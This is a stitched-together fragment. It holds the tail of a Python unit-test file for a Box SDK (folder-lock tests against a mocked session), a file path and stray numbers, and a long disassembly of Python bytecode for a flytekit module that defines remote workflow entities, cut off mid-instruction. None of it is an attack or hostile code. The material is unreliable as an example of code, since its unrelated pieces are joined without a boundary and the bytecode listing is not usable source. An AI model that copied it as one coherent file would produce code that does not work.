== "11111" folder = cascade_policy.parent assert isinstance(folder, Folder) assert folder.object_id == test_folder.object_id assert cascade_policy.scope == test_metadata_template.scope assert cascade_policy.templateKey == test_metadata_template.template_key def test_get_folder_locks(test_folder, mock_box_session): expected_url = f"{API.BASE_API_URL}/folder_locks" params = {"folder_id": test_folder.object_id} mock_box_session.get.return_value.json.return_value = { "entries": [ { "folder": { "id": "12345", "etag": "1", "type": "folder", "sequence_id": "3", "name": "Contracts", }, "id": "12345678", "type": "folder_lock", "created_by": {"id": "11446498", "type": "user"}, "created_at": "2020-09-14T23:12:53Z", "locked_operations": {"move": True, "delete": True}, "lock_type": "freeze", } ], "limit": 1000, "next_marker": None, } folder_locks = test_folder.get_locks() lock = folder_locks.next() mock_box_session.get.assert_called_once_with(expected_url, params=params) assert lock.id == "12345678" assert lock.folder.id == "12345" assert lock.locked_operations["move"] assert lock._session == mock_box_session def test_create_folder_lock(test_folder, mock_box_session): expected_url = f"{API.BASE_API_URL}/folder_locks" expected_body = { "folder": {"type": "folder", "id": test_folder.object_id}, "locked_operations": {"move": True, "delete": True}, } mock_box_session.post.return_value.json.return_value = { "id": "12345678", "type": "folder_lock", "created_at": "2020-09-14T23:12:53Z", "created_by": {"id": "11446498", "type": "user"}, "folder": { "id": "12345", "type": "folder", "etag": "1", "name": "Contracts", "sequence_id": "3", }, "lock_type": "freeze", "locked_operations": {"delete": True, "move": True}, } lock = test_folder.create_lock() mock_box_session.post.assert_called_once_with( expected_url, data=json.dumps(expected_body) ) assert lock.id == "12345678" assert lock.folder.id == "12345" assert lock.locked_operations["move"] assert lock._session == mock_box_session def test_delete_folder_lock(test_folder_lock, mock_box_session): expected_url = f"{API.BASE_API_URL}/folder_locks/{test_folder_lock.object_id}" test_folder_lock.delete() mock_box_session.delete.assert_called_once_with( expected_url, expect_json_response=False, headers=None, params={} )
data/boxsdk-3.9.2/test/unit/object/test_folder.py
12,954
9,006
231,124
LOAD_CONST '\nThis module contains shadow entities for all Flyte entities as represented in Flyte Admin / Control Plane.\nThe goal is to enable easy access, manipulation of these entities.\n' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST ('annotations',) IMPORT_NAME __future__ IMPORT_FROM annotations STORE_NAME annotations POP_TOP LOAD_CONST 0 LOAD_CONST ('Dict', 'List', 'Optional', 'Tuple', 'Union') IMPORT_NAME typing IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM List STORE_NAME List IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Tuple STORE_NAME Tuple IMPORT_FROM Union STORE_NAME Union POP_TOP LOAD_CONST 0 LOAD_CONST ('FlyteContext',) IMPORT_NAME flytekit IMPORT_FROM FlyteContext STORE_NAME FlyteContext POP_TOP LOAD_CONST 0 LOAD_CONST ('constants',) IMPORT_NAME flytekit.core IMPORT_FROM constants STORE_NAME _constants POP_TOP LOAD_CONST 0 LOAD_CONST ('hash',) IMPORT_NAME flytekit.core IMPORT_FROM hash STORE_NAME _hash_mixin POP_TOP LOAD_CONST 0 LOAD_CONST ('hash',) IMPORT_NAME flytekit.core IMPORT_FROM hash STORE_NAME hash_mixin POP_TOP LOAD_CONST 0 LOAD_CONST ('create_and_link_node_from_remote',) IMPORT_NAME flytekit.core.promise IMPORT_FROM create_and_link_node_from_remote STORE_NAME create_and_link_node_from_remote POP_TOP LOAD_CONST 0 LOAD_CONST ('system',) IMPORT_NAME flytekit.exceptions IMPORT_FROM system STORE_NAME _system_exceptions POP_TOP LOAD_CONST 0 LOAD_CONST ('user',) IMPORT_NAME flytekit.exceptions IMPORT_FROM user STORE_NAME _user_exceptions POP_TOP LOAD_CONST 0 LOAD_CONST ('logger',) IMPORT_NAME flytekit.loggers IMPORT_FROM logger STORE_NAME logger POP_TOP LOAD_CONST 0 LOAD_CONST ('interface',) IMPORT_NAME flytekit.models IMPORT_FROM interface STORE_NAME _interface_models POP_TOP LOAD_CONST 0 LOAD_CONST ('launch_plan',) IMPORT_NAME flytekit.models IMPORT_FROM launch_plan STORE_NAME _launch_plan_model POP_TOP LOAD_CONST 0 LOAD_CONST ('launch_plan',) IMPORT_NAME flytekit.models IMPORT_FROM launch_plan STORE_NAME _launch_plan_models POP_TOP LOAD_CONST 0 LOAD_CONST ('launch_plan',) IMPORT_NAME flytekit.models IMPORT_FROM launch_plan STORE_NAME launch_plan_models POP_TOP LOAD_CONST 0 LOAD_CONST ('task',) IMPORT_NAME flytekit.models IMPORT_FROM task STORE_NAME _task_model POP_TOP LOAD_CONST 0 LOAD_CONST ('task',) IMPORT_NAME flytekit.models IMPORT_FROM task STORE_NAME _task_models POP_TOP LOAD_CONST 0 LOAD_CONST ('WorkflowSpec',) IMPORT_NAME flytekit.models.admin.workflow IMPORT_FROM WorkflowSpec STORE_NAME WorkflowSpec POP_TOP LOAD_CONST 0 LOAD_CONST ('compiler',) IMPORT_NAME flytekit.models.core IMPORT_FROM compiler STORE_NAME compiler_models POP_TOP LOAD_CONST 0 LOAD_CONST ('identifier',) IMPORT_NAME flytekit.models.core IMPORT_FROM identifier STORE_NAME _identifier_model POP_TOP LOAD_CONST 0 LOAD_CONST ('identifier',) IMPORT_NAME flytekit.models.core IMPORT_FROM identifier STORE_NAME id_models POP_TOP LOAD_CONST 0 LOAD_CONST ('workflow',) IMPORT_NAME flytekit.models.core IMPORT_FROM workflow STORE_NAME _workflow_model POP_TOP LOAD_CONST 0 LOAD_CONST ('workflow',) IMPORT_NAME flytekit.models.core IMPORT_FROM workflow STORE_NAME _workflow_models POP_TOP LOAD_CONST 0 LOAD_CONST ('Identifier',) IMPORT_NAME flytekit.models.core.identifier IMPORT_FROM Identifier STORE_NAME Identifier POP_TOP LOAD_CONST 0 LOAD_CONST ('Node', 'WorkflowMetadata', 'WorkflowMetadataDefaults') IMPORT_NAME flytekit.models.core.workflow IMPORT_FROM Node STORE_NAME Node IMPORT_FROM WorkflowMetadata STORE_NAME WorkflowMetadata IMPORT_FROM WorkflowMetadataDefaults STORE_NAME WorkflowMetadataDefaults POP_TOP LOAD_CONST 0 LOAD_CONST ('TypedInterface',) IMPORT_NAME flytekit.models.interface IMPORT_FROM TypedInterface STORE_NAME TypedInterface POP_TOP LOAD_CONST 0 LOAD_CONST ('Binding',) IMPORT_NAME flytekit.models.literals IMPORT_FROM Binding STORE_NAME Binding POP_TOP LOAD_CONST 0 LOAD_CONST ('TaskSpec',) IMPORT_NAME flytekit.models.task IMPORT_FROM TaskSpec STORE_NAME TaskSpec POP_TOP LOAD_CONST 0 LOAD_CONST ('interface',) IMPORT_NAME flytekit.remote IMPORT_FROM interface STORE_NAME _interface POP_TOP LOAD_CONST 0 LOAD_CONST ('interface',) IMPORT_NAME flytekit.remote IMPORT_FROM interface STORE_NAME _interfaces POP_TOP LOAD_CONST 0 LOAD_CONST ('RemoteEntity',) IMPORT_NAME flytekit.remote.remote_callable IMPORT_FROM RemoteEntity STORE_NAME RemoteEntity POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object FlyteTask at 0x7fa6d6dfe9c0, file "f.py", line 44> LOAD_CONST 'FlyteTask' MAKE_FUNCTION LOAD_CONST 'FlyteTask' LOAD_NAME hash_mixin LOAD_ATTR HashOnReferenceMixin LOAD_NAME RemoteEntity LOAD_NAME TaskSpec CALL_FUNCTION STORE_NAME FlyteTask LOAD_BUILD_CLASS LOAD_CONST <code object FlyteTaskNode at 0x7fa6d6dfeae0, file "f.py", line 188> LOAD_CONST 'FlyteTaskNode' MAKE_FUNCTION LOAD_CONST 'FlyteTaskNode' LOAD_NAME _workflow_model LOAD_ATTR TaskNode CALL_FUNCTION STORE_NAME FlyteTaskNode LOAD_BUILD_CLASS LOAD_CONST <code object FlyteWorkflowNode at 0x7fa6a7ae54b0, file "f.py", line 213> LOAD_CONST 'FlyteWorkflowNode' MAKE_FUNCTION LOAD_CONST 'FlyteWorkflowNode' LOAD_NAME _workflow_model LOAD_ATTR WorkflowNode CALL_FUNCTION STORE_NAME FlyteWorkflowNode LOAD_BUILD_CLASS LOAD_CONST <code object FlyteBranchNode at 0x7fa6a7ae5c90, file "f.py", line 321> LOAD_CONST 'FlyteBranchNode' MAKE_FUNCTION LOAD_CONST 'FlyteBranchNode' LOAD_NAME _workflow_model LOAD_ATTR BranchNode CALL_FUNCTION STORE_NAME FlyteBranchNode LOAD_BUILD_CLASS LOAD_CONST <code object FlyteGateNode at 0x7fa6a7ae5f60, file "f.py", line 371> LOAD_CONST 'FlyteGateNode' MAKE_FUNCTION LOAD_CONST 'FlyteGateNode' LOAD_NAME _workflow_model LOAD_ATTR GateNode CALL_FUNCTION STORE_NAME FlyteGateNode LOAD_BUILD_CLASS LOAD_CONST <code object FlyteArrayNode at 0x7fa6a7ae55d0, file "f.py", line 377> LOAD_CONST 'FlyteArrayNode' MAKE_FUNCTION LOAD_CONST 'FlyteArrayNode' LOAD_NAME _workflow_model LOAD_ATTR ArrayNode CALL_FUNCTION STORE_NAME FlyteArrayNode LOAD_BUILD_CLASS LOAD_CONST <code object FlyteNode at 0x7fa6f4e494b0, file "f.py", line 388> LOAD_CONST 'FlyteNode' MAKE_FUNCTION LOAD_CONST 'FlyteNode' LOAD_NAME _hash_mixin LOAD_ATTR HashOnReferenceMixin LOAD_NAME _workflow_model LOAD_ATTR Node CALL_FUNCTION STORE_NAME FlyteNode LOAD_BUILD_CLASS LOAD_CONST <code object FlyteWorkflow at 0x7fa6d46fe780, file "f.py", line 573> LOAD_CONST 'FlyteWorkflow' MAKE_FUNCTION LOAD_CONST 'FlyteWorkflow' LOAD_NAME _hash_mixin LOAD_ATTR HashOnReferenceMixin LOAD_NAME RemoteEntity LOAD_NAME WorkflowSpec CALL_FUNCTION STORE_NAME FlyteWorkflow LOAD_BUILD_CLASS LOAD_CONST <code object FlyteLaunchPlan at 0x7fa6d61db0c0, file "f.py", line 828> LOAD_CONST 'FlyteLaunchPlan' MAKE_FUNCTION LOAD_CONST 'FlyteLaunchPlan' LOAD_NAME hash_mixin LOAD_ATTR HashOnReferenceMixin LOAD_NAME RemoteEntity LOAD_NAME _launch_plan_models LOAD_ATTR LaunchPlanSpec CALL_FUNCTION STORE_NAME FlyteLaunchPlan LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FlyteTask' STORE_NAME __qualname__ LOAD_CONST 'A class encapsulating a remote Flyte task.' STORE_NAME __doc__ LOAD_CONST (None, 0, None, False) LOAD_CONST 'int' LOAD_CONST 'bool' LOAD_CONST ('task_type_version', 'should_register') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d84fc540, file "f.py", line 47> LOAD_CONST 'FlyteTask.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object id at 0x7fa6d84fcd20, file "f.py", line 73> LOAD_CONST 'FlyteTask.id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME id LOAD_NAME property LOAD_CONST <code object type at 0x7fa6d84fc930, file "f.py", line 82> LOAD_CONST 'FlyteTask.type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type LOAD_NAME property LOAD_CONST <code object metadata at 0x7fa6d84fc810, file "f.py", line 91> LOAD_CONST 'FlyteTask.metadata' MAKE_FUNCTION CALL_FUNCTION STORE_NAME metadata LOAD_NAME property LOAD_CONST <code object interface at 0x7fa6d84fc0c0, file "f.py", line 101> LOAD_CONST 'FlyteTask.interface' MAKE_FUNCTION CALL_FUNCTION STORE_NAME interface LOAD_NAME property LOAD_CONST <code object custom at 0x7fa6d84fc420, file "f.py", line 110> LOAD_CONST 'FlyteTask.custom' MAKE_FUNCTION CALL_FUNCTION STORE_NAME custom LOAD_NAME property LOAD_CONST <code object task_type_version at 0x7fa6d84fcdb0, file "f.py", line 119> LOAD_CONST 'FlyteTask.task_type_version' MAKE_FUNCTION CALL_FUNCTION STORE_NAME task_type_version LOAD_NAME property LOAD_CONST <code object container at 0x7fa6d84fc390, file "f.py", line 123> LOAD_CONST 'FlyteTask.container' MAKE_FUNCTION CALL_FUNCTION STORE_NAME container LOAD_NAME property LOAD_CONST <code object config at 0x7fa6d84fcae0, file "f.py", line 132> LOAD_CONST 'FlyteTask.config' MAKE_FUNCTION CALL_FUNCTION STORE_NAME config LOAD_NAME property LOAD_CONST <code object security_context at 0x7fa6d58a85d0, file "f.py", line 141> LOAD_CONST 'FlyteTask.security_context' MAKE_FUNCTION CALL_FUNCTION STORE_NAME security_context LOAD_NAME property LOAD_CONST <code object k8s_pod at 0x7fa6d6dfee40, file "f.py", line 145> LOAD_CONST 'FlyteTask.k8s_pod' MAKE_FUNCTION CALL_FUNCTION STORE_NAME k8s_pod LOAD_NAME property LOAD_CONST <code object sql at 0x7fa6d6dfe0c0, file "f.py", line 149> LOAD_CONST 'FlyteTask.sql' MAKE_FUNCTION CALL_FUNCTION STORE_NAME sql LOAD_NAME property LOAD_CONST 'bool' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object should_register at 0x7fa6d6dfe390, file "f.py", line 153> LOAD_CONST 'FlyteTask.should_register' MAKE_FUNCTION CALL_FUNCTION STORE_NAME should_register LOAD_NAME property LOAD_CONST 'str' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name at 0x7fa6d6dfe810, file "f.py", line 157> LOAD_CONST 'FlyteTask.name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME property LOAD_CONST '_identifier_model.ResourceType' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resource_type at 0x7fa6d6dfeb70, file "f.py", line 161> LOAD_CONST 'FlyteTask.resource_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME resource_type LOAD_NAME property LOAD_CONST 'str' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object entity_type_text at 0x7fa6d6dfe270, file "f.py", line 165> LOAD_CONST 'FlyteTask.entity_type_text' MAKE_FUNCTION CALL_FUNCTION STORE_NAME entity_type_text LOAD_NAME classmethod LOAD_CONST '_task_model.TaskTemplate' LOAD_CONST 'FlyteTask' LOAD_CONST ('base_model', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object promote_from_model at 0x7fa6d6dfe4b0, file "f.py", line 169> LOAD_CONST 'FlyteTask.promote_from_model' MAKE_FUNCTION CALL_FUNCTION STORE_NAME promote_from_model LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL FlyteTask LOAD_FAST self CALL_FUNCTION LOAD_ATTR __init__ LOAD_GLOBAL _task_model LOAD_ATTR TaskTemplate LOAD_FAST id LOAD_FAST type LOAD_FAST metadata LOAD_FAST interface LOAD_FAST custom LOAD_FAST container LOAD_FAST task_type_version LOAD_FAST config LOAD_CONST ('container', 'task_type_version', 'config') CALL_FUNCTION LOAD_CONST ('template',) CALL_FUNCTION POP_TOP LOAD_FAST should_register LOAD_FAST self STORE_ATTR _should_register LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR id RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR type RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR metadata RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR interface RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR custom RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR task_type_version RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR container RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR config RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR security_context RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR k8s_pod RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR sql RETURN_VALUE LOAD_FAST self LOAD_ATTR _should_register RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR id LOAD_ATTR name RETURN_VALUE LOAD_GLOBAL _identifier_model LOAD_ATTR ResourceType LOAD_ATTR TASK RETURN_VALUE LOAD_CONST 'Task' RETURN_VALUE LOAD_FAST cls LOAD_FAST base_model LOAD_ATTR id LOAD_FAST base_model LOAD_ATTR type LOAD_FAST base_model LOAD_ATTR metadata LOAD_GLOBAL _interfaces LOAD_ATTR TypedInterface LOAD_METHOD promote_from_model LOAD_FAST base_model LOAD_ATTR interface CALL_METHOD LOAD_FAST base_model LOAD_ATTR custom LOAD_FAST base_model LOAD_ATTR container LOAD_FAST base_model LOAD_ATTR task_type_version LOAD_CONST ('id', 'type', 'metadata', 'interface', 'custom', 'container', 'task_type_version') CALL_FUNCTION STORE_FAST t LOAD_FAST base_model LOAD_ATTR id LOAD_ATTR is_empty POP_JUMP_IF_TRUE LOAD_FAST base_model LOAD_ATTR id LOAD_FAST t STORE_ATTR _id LOAD_FAST t RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FlyteTaskNode' STORE_NAME __qualname__ LOAD_CONST 'A class encapsulating a task that a Flyte node needs to execute.' STORE_NAME __doc__ LOAD_CONST 'FlyteTask' LOAD_CONST ('flyte_task',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d6dfe930, file "f.py", line 191> LOAD_CONST 'FlyteTaskNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST 'id_models.Identifier' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object reference_id at 0x7fa6d6dfeed0, file "f.py", line 195> LOAD_CONST 'FlyteTaskNode.reference_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME reference_id LOAD_NAME property LOAD_CONST 'FlyteTask' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object flyte_task at 0x7fa6d6dfe030, file "f.py", line 200> LOAD_CONST 'FlyteTaskNode.flyte_task' MAKE_FUNCTION CALL_FUNCTION STORE_NAME flyte_task LOAD_NAME classmethod LOAD_CONST 'FlyteTask' LOAD_CONST 'FlyteTaskNode' LOAD_CONST ('task', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object promote_from_model at 0x7fa6d6dfe660, file "f.py", line 204> LOAD_CONST 'FlyteTaskNode.promote_from_model' MAKE_FUNCTION CALL_FUNCTION STORE_NAME promote_from_model LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL FlyteTaskNode LOAD_FAST self CALL_FUNCTION LOAD_METHOD __init__ LOAD_CONST None CALL_METHOD POP_TOP LOAD_FAST flyte_task LOAD_FAST self STORE_ATTR _flyte_task LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _flyte_task LOAD_ATTR id RETURN_VALUE LOAD_FAST self LOAD_ATTR _flyte_task RETURN_VALUE LOAD_FAST cls LOAD_FAST task LOAD_CONST ('flyte_task',) CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FlyteWorkflowNode' STORE_NAME __qualname__ LOAD_CONST 'A class encapsulating a workflow that a Flyte node needs to execute.' STORE_NAME __doc__ LOAD_CONST (None, None) LOAD_CONST 'FlyteWorkflow' LOAD_CONST 'FlyteLaunchPlan' LOAD_CONST ('flyte_workflow', 'flyte_launch_plan') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6d6dfe300, file "f.py", line 216> LOAD_CONST 'FlyteWorkflowNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST 'str' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __repr__ at 0x7fa6ef819a50, file "f.py", line 236> LOAD_CONST 'FlyteWorkflowNode.__repr__' MAKE_FUNCTION STORE_NAME __repr__ LOAD_NAME property LOAD_CONST 'id_models.Identifier' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object launchplan_ref at 0x7fa6ef819ed0, file "f.py", line 241> LOAD_CONST 'FlyteWorkflowNode.launchplan_ref' MAKE_FUNCTION CALL_FUNCTION STORE_NAME launchplan_ref LOAD_NAME property LOAD_CONST <code object sub_workflow_ref at 0x7fa6ef8195d0, file "f.py", line 246> LOAD_CONST 'FlyteWorkflowNode.sub_workflow_ref' MAKE_FUNCTION CALL_FUNCTION STORE_NAME sub_workflow_ref LOAD_NAME property LOAD_CONST 'FlyteLaunchPlan' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object flyte_launch_plan at 0x7fa6ef819e40, file "f.py", line 250> LOAD_CONST 'FlyteWorkflowNode.flyte_launch_plan' MAKE_FUNCTION CALL_FUNCTION STORE_NAME flyte_launch_plan LOAD_NAME property LOAD_CONST 'FlyteWorkflow' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object flyte_workflow at 0x7fa6a7ae5390, file "f.py", line 254> LOAD_CONST 'FlyteWorkflowNode.flyte_workflow' MAKE_FUNCTION CALL_FUNCTION STORE_NAME flyte_workflow LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_CONST '_workflow_models.WorkflowTemplate' LOAD_CONST 'Optional[Dict[Identifier, _workflow_models.WorkflowTemplate]]' LOAD_CONST 'Optional[Dict[Identifier, FlyteTask]]' LOAD_CONST 'Optional[Dict[Identifier, launch_plan_models.LaunchPlanSpec]]' LOAD_CONST 'FlyteWorkflow' LOAD_CONST ('wf', 'sub_workflows', 'tasks', 'node_launch_plans', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _promote_workflow at 0x7fa6a7ae5660, file "f.py", line 258> LOAD_CONST 'FlyteWorkflowNode._promote_workflow' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _promote_workflow LOAD_NAME classmethod LOAD_CONST '_workflow_model.WorkflowNode' LOAD_CONST 'Dict[id_models.Identifier, _workflow_model.WorkflowTemplate]' LOAD_CONST 'Dict[id_models.Identifier, _launch_plan_model.LaunchPlanSpec]' LOAD_CONST 'Dict[Identifier, FlyteTask]' LOAD_CONST 'Dict[id_models.Identifier, FlyteWorkflow]' LOAD_CONST 'Tuple[FlyteWorkflowNode, Dict[id_models.Identifier, FlyteWorkflow]]' LOAD_CONST ('base_model', 'sub_workflows', 'node_launch_plans', 'tasks', 'converted_sub_workflows', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object promote_from_model at 0x7fa6a7ae5ae0, file "f.py", line 277> LOAD_CONST 'FlyteWorkflowNode.promote_from_model' MAKE_FUNCTION CALL_FUNCTION STORE_NAME promote_from_model LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST flyte_workflow POP_JUMP_IF_FALSE LOAD_FAST flyte_launch_plan POP_JUMP_IF_FALSE LOAD_GLOBAL _system_exceptions LOAD_METHOD FlyteSystemException LOAD_CONST 'FlyteWorkflowNode cannot be called with both a workflow and a launchplan specified, please pick one. workflow: ' LOAD_FAST flyte_workflow FORMAT_VALUE LOAD_CONST ' launchPlan: ' LOAD_FAST flyte_launch_plan FORMAT_VALUE BUILD_STRING CALL_METHOD RAISE_VARARGS LOAD_FAST flyte_workflow LOAD_FAST self STORE_ATTR _flyte_workflow LOAD_FAST flyte_launch_plan LOAD_FAST self STORE_ATTR _flyte_launch_plan LOAD_GLOBAL super LOAD_GLOBAL FlyteWorkflowNode LOAD_FAST self CALL_FUNCTION LOAD_ATTR __init__ LOAD_FAST self LOAD_ATTR _flyte_launch_plan POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _flyte_launch_plan LOAD_ATTR id JUMP_FORWARD to 68 LOAD_CONST None LOAD_FAST self LOAD_ATTR _flyte_workflow POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _flyte_workflow LOAD_ATTR id JUMP_FORWARD to 84 LOAD_CONST None LOAD_CONST ('launchplan_ref', 'sub_workflow_ref') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR flyte_workflow LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_CONST 'FlyteWorkflowNode with workflow: ' LOAD_FAST self LOAD_ATTR flyte_workflow FORMAT_VALUE BUILD_STRING RETURN_VALUE LOAD_CONST 'FlyteWorkflowNode with launch plan: ' LOAD_FAST self LOAD_ATTR flyte_launch_plan FORMAT_VALUE BUILD_STRING RETURN_VALUE LOAD_FAST self LOAD_ATTR _flyte_launch_plan POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _flyte_launch_plan LOAD_ATTR id RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _flyte_workflow POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _flyte_workflow LOAD_ATTR id RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _flyte_launch_plan RETURN_VALUE LOAD_FAST self LOAD_ATTR _flyte_workflow RETURN_VALUE LOAD_GLOBAL FlyteWorkflow LOAD_ATTR promote_from_model LOAD_FAST wf LOAD_FAST sub_workflows LOAD_FAST node_launch_plans LOAD_FAST tasks LOAD_CONST ('sub_workflows', 'node_launch_plans', 'tasks') CALL_FUNCTION RETURN_VALUE LOAD_FAST base_model LOAD_ATTR launchplan_ref LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_GLOBAL FlyteLaunchPlan LOAD_METHOD promote_from_model LOAD_FAST base_model LOAD_ATTR launchplan_ref LOAD_FAST node_launch_plans LOAD_FAST base_model LOAD_ATTR launchplan_ref BINARY_SUBSCR CALL_METHOD LOAD_CONST ('flyte_launch_plan',) CALL_FUNCTION LOAD_FAST converted_sub_workflows BUILD_TUPLE RETURN_VALUE LOAD_FAST base_model LOAD_ATTR sub_workflow_ref LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST base_model LOAD_ATTR reference LOAD_FAST sub_workflows COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST None STORE_FAST wf LOAD_FAST base_model LOAD_ATTR reference LOAD_FAST converted_sub_workflows COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _promote_workflow LOAD_FAST sub_workflows LOAD_FAST base_model LOAD_ATTR reference BINARY_SUBSCR LOAD_FAST sub_workflows LOAD_FAST node_launch_plans LOAD_FAST tasks LOAD_CONST ('sub_workflows', 'node_launch_plans', 'tasks') CALL_FUNCTION STORE_FAST wf LOAD_FAST wf LOAD_FAST converted_sub_workflows LOAD_FAST base_model LOAD_ATTR reference STORE_SUBSCR JUMP_FORWARD to 120 LOAD_FAST converted_sub_workflows LOAD_FAST base_model LOAD_ATTR reference BINARY_SUBSCR STORE_FAST wf LOAD_FAST cls LOAD_FAST wf LOAD_CONST ('flyte_workflow',) CALL_FUNCTION LOAD_FAST converted_sub_workflows BUILD_TUPLE RETURN_VALUE LOAD_GLOBAL _system_exceptions LOAD_METHOD FlyteSystemException LOAD_CONST 'Subworkflow ' LOAD_FAST base_model LOAD_ATTR reference FORMAT_VALUE LOAD_CONST ' not found.' BUILD_STRING CALL_METHOD RAISE_VARARGS LOAD_GLOBAL _system_exceptions LOAD_METHOD FlyteSystemException LOAD_CONST 'Bad workflow node model, neither subworkflow nor launchplan specified.' CALL_METHOD RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FlyteBranchNode' STORE_NAME __qualname__ LOAD_CONST '_workflow_model.IfElseBlock' LOAD_CONST ('if_else',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6a7ae5270, file "f.py", line 322> LOAD_CONST 'FlyteBranchNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME classmethod LOAD_CONST '_workflow_model.BranchNode' LOAD_CONST 'Dict[id_models.Identifier, _workflow_model.WorkflowTemplate]' LOAD_CONST 'Dict[id_models.Identifier, _launch_plan_model.LaunchPlanSpec]' LOAD_CONST 'Dict[id_models.Identifier, FlyteTask]' LOAD_CONST 'Dict[id_models.Identifier, FlyteWorkflow]' LOAD_CONST 'Tuple[FlyteBranchNode, Dict[id_models.Identifier, FlyteWorkflow]]' LOAD_CONST ('base_model', 'sub_workflows', 'node_launch_plans', 'tasks', 'converted_sub_workflows', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object promote_from_model at 0x7fa6a7ae5ed0, file "f.py", line 325> LOAD_CONST 'FlyteBranchNode.promote_from_model' MAKE_FUNCTION CALL_FUNCTION STORE_NAME promote_from_model LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST if_else CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST base_model LOAD_ATTR if_else STORE_FAST block LOAD_GLOBAL FlyteNode LOAD_METHOD promote_from_model LOAD_FAST block LOAD_ATTR case LOAD_ATTR then_node LOAD_FAST sub_workflows LOAD_FAST node_launch_plans LOAD_FAST tasks LOAD_FAST converted_sub_workflows CALL_METHOD UNPACK_SEQUENCE LOAD_FAST block LOAD_ATTR case STORE_ATTR _then_node STORE_FAST converted_sub_workflows SETUP_LOOP to 78 LOAD_FAST block LOAD_ATTR other GET_ITER FOR_ITER to 76 STORE_FAST o LOAD_GLOBAL FlyteNode LOAD_METHOD promote_from_model 